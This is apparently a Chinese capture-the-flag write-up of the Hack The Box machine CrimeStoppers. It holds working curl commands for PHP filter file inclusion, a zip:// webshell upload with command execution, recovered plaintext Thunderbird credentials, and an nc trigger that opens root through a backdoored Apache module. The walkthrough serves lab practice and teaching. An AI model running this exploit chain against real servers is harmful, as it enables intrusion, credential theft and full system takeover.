端口扫描

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:21 CST
Nmap scan report for 10.10.10.80
Host is up (0.082s latency).
Not shown: 65521 filtered tcp ports (no-response), 13 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ sudo nmap -sT -sC -sV -O -p80 10.10.10.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:22 CST
Nmap scan report for 10.10.10.80
Host is up (0.077s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_http-title: FBIs Most Wanted: FSociety
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|3.X|4.X (91%), Crestron 2-Series (85%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (91%), Linux 3.10 - 4.11 (89%), Linux 3.18 (89%), Linux 3.2 - 4.9 (89%), Linux 5.1 (89%), Crestron XPanel control system (85%)
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ sudo nmap --script=vuln -p80 10.10.10.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:23 CST
Nmap scan report for 10.10.10.80
Host is up (0.079s latency).

PORT STATE SERVICE
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)'
|_ /uploads/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
<SNIP>
Nmap done: 1 IP address (1 host up) scanned in 43.99 seconds

PHP伪协议Getshell

一个页面,有一个表单能够提交东西,除此之外没有了。发现cookies中有个admin,改为1之后出现了lists功能。有一个纸条告诉我们GET参数比较脆弱,会导致源码泄露。盲猜是伪协议,能够看到op参数是用来调用页面的那么

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ curl "http://10.10.10.80/?op=php://filter/read=convert.base64-encode/resource=index"
<SNIP>
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkZWZpbmUoJ0ZST01fSU5ERVgnLCAxKTsKCiRvcCA9IGVtcHR5KCRfR0VUWydvcCddKSA/ICdob21lJyA6ICRfR0VUWydvcCddOwppZighaXNfc3RyaW5nKCRvcCkgfHwgcHJlZ19tYXRjaCgnL1wuXC4vJywgJG9wKSB8fCBwcmVnX21hdGNoKCcvXDAvJywgJG9wKSkKICAgIGRpZSgnQXJlIHlvdSByZWFsbHkgdHJ5aW5nICcgLiBodG1sZW50aXRpZXMoJG9wKSAuICchPyAgRGlkIHdlIFRpbWUgVHJhdmVsPyAgVGhpcyBpc25cJ3QgdGhlIDkwXCdzJyk7CgovL0Nvb2tpZQppZighaXNzZXQoJF9DT09LSUVbJ2FkbWluJ10pKSB7CiAgc2V0Y29va2llKCdhZG1pbicsICcwJyk7CiAgJF9DT09LSUVbJ2FkbWluJ10gPSAnMCc7Cn0KCmZ1bmN0aW9uIHBhZ2VfdG9wKCRvcCkgewo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD<SNIP>

base64解码之后得到index的源码

<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op) || preg_match('/\0/', $op))
die('Are you really trying ' . htmlentities($op) . '!? Did we Time Travel? This isn\'t the 90\'s');

//Cookie
if(!isset($_COOKIE['admin'])) {
setcookie('admin', '0');
$_COOKIE['admin'] = '0';
}
<SNIP>
register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))
fatal('no such page');
?>

这里能看到主要的逻辑,是会包含这个php,尝试远程文件包含,但似乎是不行。

查看一下upload和common的源码

upload

<?php
include 'common.php';

// Stop the automated tools from filling up our ticket system.
session_start();
if (empty($_SESSION['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
$token = $_SESSION['token'];

$client_ip = $_SERVER['REMOTE_ADDR'];

// If this is a submission, write $tip to file.

if(isset($_POST['submit']) && isset($_POST['tip'])) {
// CSRF Token to help ensure this user came from our submission form.
if (!empty($_POST['token'])) {
if (hash_equals($token, $_POST['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
// Place tips in the folder of the client IP Address.
if (!is_dir('uploads/' . $client_ip)) {
mkdir('uploads/' . $client_ip, 0755, false);
}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
header("Location: ?op=view&secretname=$secretname");
} else {
print 'Hacker Detected.';
print $token;
die();
}
}
}

并且上传抓一下包:

POST /?op=upload HTTP/1.1

Host: 10.10.10.80

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------236491692034272443102967589264

Content-Length: 595

Origin: http://10.10.10.80

Connection: keep-alive

Referer: http://10.10.10.80/?op=upload

Cookie: admin=1; PHPSESSID=68q2bmj9ni766kghf2ffn0aov1

Upgrade-Insecure-Requests: 1

-----------------------------236491692034272443102967589264

Content-Disposition: form-data; name="tip"

12312312

-----------------------------236491692034272443102967589264

Content-Disposition: form-data; name="name"

12312312
-----------------------------236491692034272443102967589264

Content-Disposition: form-data; name="token"

1af745e393a8dbab36d12fde76e7ce68d6d6fb6fd01935912ec9e406c5a8ddd1

-----------------------------236491692034272443102967589264

Content-Disposition: form-data; name="submit"

Send Tip!
-----------------------------236491692034272443102967589264--

能够上传一个tip,只不过location前会有一堆hash

common

<?php
/* Stop hackers. */
if(!defined('FROM_INDEX')) die();

// If the hacker cannot control the filename, it's totally safe to let them write files... Or is it?
function genFilename() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

?>

还有view

<?php
include 'common.php';

if(empty($_GET['secretname'])) {
header('Location: ?op=home');
exit();
}

$secretname = $_GET['secretname'];
if ($secretname == "whiterose.txt") {
$tip = file_get_contents('uploads/' . basename($secretname));
} else {
$tip = file_get_contents('uploads/' . $_SERVER['REMOTE_ADDR'] . '/' . basename($secretname));
}

?>

那么有一条进攻路径就是通过tip来上传文件,但是如果直接访问php是执行不了的因为没有后缀,并且我们控制不了文件名。但是可以借助php伪协议中的zip来对压缩包中的文件进行访问(执行)。

使用方法:

zip://archive.zip#dir/file.txt

除此之外还需要传入session。

现在本地写一个webshell,压缩成zip

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ zip shell.zip shell.php
adding: shell.php (stored 0%)

因为还验证token,并且在upload中他会给我们打印出来session,所以先curl一遍拿到session

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ curl -sD - "http://10.10.10.80/?op=upload"| grep -e PHPSESSID -e 'name="token"'
Set-Cookie: PHPSESSID=fq9n2smsnqkml5tbrbi1uh2j51; path=/
<input type="text" id="token" name="token" style="display: none" value="d87356f71240a8fd2af81d9b03f4a4adf18625eed11c5e40f73a9ef96587135a" style="width:355px;" />

然后上传webshell(这里的两步最好要连续,否则token可能会不一致)

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ curl -X POST -sD - -F "tip=<shell.zip" -F "name=123123" -F "token=4a3836a83cd66a3b256e5409386bcab55bbbddf109cc4bf9f67132abd0a6b25b" -F "submit=Send Tip" "http://10.10.10.80/?op=upload" -H "Cookie: admin=1; PHPSESSID=kceob3j4lrr4nek47dm1bvj8b0" -H "Referer: http://10.10.10.80/?op=upload" |grep Location
Location: ?op=view&secretname=bb6bbb15c4528dcdee4f52208f6529642c2afed8

那么我们的压缩包实质就上传到了服务器的secretname这里,那么进行命令执行,因为#在get传参中会被忽视后面的参数,所以要做一个url编码

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ curl "http://10.10.10.80/?op=zip://uploads/10.10.14.29/bb6bbb15c4528dcdee4f52208f6529642c2afed8%23shell&cmd=id"
<!DOCTYPE html>
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data) <footer>
<SNIP>

做一个反弹shell

Mozila_Decrypt

在dom家目录中发现一个.thunderbird目录,并且其他人可读,搜了一下是一个通信软件,是Mozila旗下的

之前做取证遇到过的用目录文件来破解密码: https://github.com/unode/firefox_decrypt

┌──(mikannse㉿kali)-[~/…/home/dom/.thunderbird/36jinndk.default]
└─$ python ~/tools/other/firefox_decrypt/firefox_decrypt.py .
2024-09-23 22:05:30,288 - WARNING - profile.ini not found in .
2024-09-23 22:05:30,288 - WARNING - Continuing and assuming '.' is a profile location

Website: imap://crimestoppers.htb
Username: 'dom@crimestoppers.htb'
Password: 'Gummer59'

Website: smtp://crimestoppers.htb
Username: 'dom@crimestoppers.htb'
Password: 'Gummer59'

拿到了dom的密码,能够su过去

提权

跑个linpeas,发现apache的内存中存在着root的凭证

╔══════════╣ Processes with credentials in memory (root req)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory
gdm-password Not Found
gnome-keyring-daemon Not Found
lightdm Not Found
vsftpd Not Found
apache2 process found (dump creds from memory as root)
sshd Not Found

以及一个拥有组是dom的apache模块并且名字非常可疑,像是之前接触过的nginx后门模块

-rw-r----- 1 root dom 48584 Dec 22  2017 /usr/lib/apache2/modules/mod_rootme.so

放在ida反编译

有一个rootme_post_read_request函数,比较请求的uri是否与v3相等

int __fastcall rootme_post_read_request(request_rec_0 *r)
{
int v1; // ebp
__int64 v2; // rax
char *v3; // rax

v2 = *((_QWORD *)r->connection->conn_config + core_module[2]);
if ( v2 )
v1 = *(_DWORD *)(v2 + 8);
v3 = darkarmy();
if ( !strcmp(r->uri, v3) && access("/var/www/html/uploads/whiterose.txt", 0) != -1 )
process_client(256, v1);
return -1;
}

调用了这个darkarmy函数

char *__cdecl darkarmy()
{
char *result; // rax
__int64 i; // rdx

result = (char *)malloc(0xBuLL);
for ( i = 0LL; i != 10; ++i )
result[i] = aHackthebox[i] ^ byte_1BF2[i];
result[10] = 0;
return result;
}

result异或一下就出来了

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ cat root.py
aHackthebox = 'HackTheBox'
lists = '0x0E, 0x14, 0x0D, 0x38, 0x3B, 0x0B, 0x0C, 0x27, 0x1B, 0x01, 0x00'

hex_list = lists.split(',')
hex_integers = [int(h.strip(), 16) for h in hex_list]

result = [chr(x ^ y) for x, y in zip(map(ord, aHackthebox), hex_integers)]
result=''.join(result)
print(result)

┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers]
└─$ python root.py
FunSociety

那么

dom@crimestoppers:/tmp$ nc 10.10.10.80 80
nc 10.10.10.80 80
GET FunSociety
GET FunSociety
rootme-0.5 DarkArmy Edition Ready
whoami
whoami
root

碎碎念

伪协议部分的利用非常有趣!